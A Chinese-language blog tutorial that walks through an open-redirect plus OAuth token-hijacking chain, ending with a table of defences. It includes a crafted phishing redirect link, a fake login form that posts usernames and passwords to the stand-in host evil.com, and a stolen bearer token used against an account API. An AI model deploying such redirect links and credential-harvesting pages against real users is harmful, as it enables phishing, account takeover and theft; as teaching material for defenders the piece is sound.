一次点击,令 OAuth 失守!URL 跳转 + Token 劫持攻击链全解析

一次点击,令 OAuth 失守!URL 跳转 + Token 劫持攻击链全解析

🎣 URL跳转 + OAuth Token 劫持攻击链详解


⚙️ 场景示例:

  • 目标站点:https://login.example.com(支持 OAuth 授权)
  • 合作跳转域:https://partner.example.com/login?next=...(存在 URL 跳转漏洞)
  • 攻击者控制站:https://evil.com(钓鱼 + 收集令牌)

🧩 步骤详解


🧱 第 1 步:发现可利用跳转点

攻击者发现:

https://partner.example.com/login?next=https://evil.com/oauth-grabber

服务器未验证 next 参数是否为内部地址,导致任意跳转漏洞(Open Redirect)


🎣 第 2 步:构造诱导链接并钓鱼

攻击者在社工邮件中嵌入链接:

点击重置密码:
https://partner.example.com/login?next=https://evil.com/oauth-grabber

用户以为自己在访问可信“example.com”登录页面,其实会被跳转到攻击者页面。


🕸 第 3 步:跳转并伪造 OAuth 授权页面

https://evil.com/oauth-grabber 页面伪装成 Legit OAuth 登录页:

<form action="https://evil.com/gettoken" method="POST">
  <input name="username" placeholder="用户名">
  <input name="password" type="password" placeholder="密码">
  <button>登录</button>
</form>

或者伪造一个授权确认框,诱导用户点击“授权”。


🧪 第 4 步:用户提交认证,攻击者收集 Token

用户点击“登录”或“授权”后:

  • 页面调用后端从 example.com 发起真实的 OAuth 请求;
  • 捕获 access_token,回传给攻击者服务。

例如 token 被记录在日志中:

[+] Received OAuth token: abc1234xyz

🛠 第 5 步:攻击者利用 Token 操作用户账号

拿到 access_token 后,攻击者请求 API:

GET /api/account
Authorization: Bearer abc1234xyz

实现:

  • 伪装身份进入用户账号
  • 下载个人资料、订单、甚至发起转账操作

🔥 攻击链总结

[攻击者发送钓鱼链接]
      ↓
https://partner.example.com/login?next=https://evil.com
      ↓(Open Redirect)
[用户被重定向到伪造登录页]
      ↓
[输入凭证或点击“授权”]
      ↓
[攻击者服务器获取 access_token]
      ↓
[使用 token 冒充用户调用真实接口]

🧯 防御措施

风险点防护措施
URL 跳转✅ 添加域名/路径白名单验证
OAuth 回调地址验证✅ 严格绑定 redirect_uri,不能模糊匹配
用户授权提示✅ 明确显示将跳转到哪个第三方
前端伪装钓鱼页面✅ 浏览器 CSP / Referrer Policy
Token 使用时长 & 范围✅ 限定 token 生命周期与权限

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容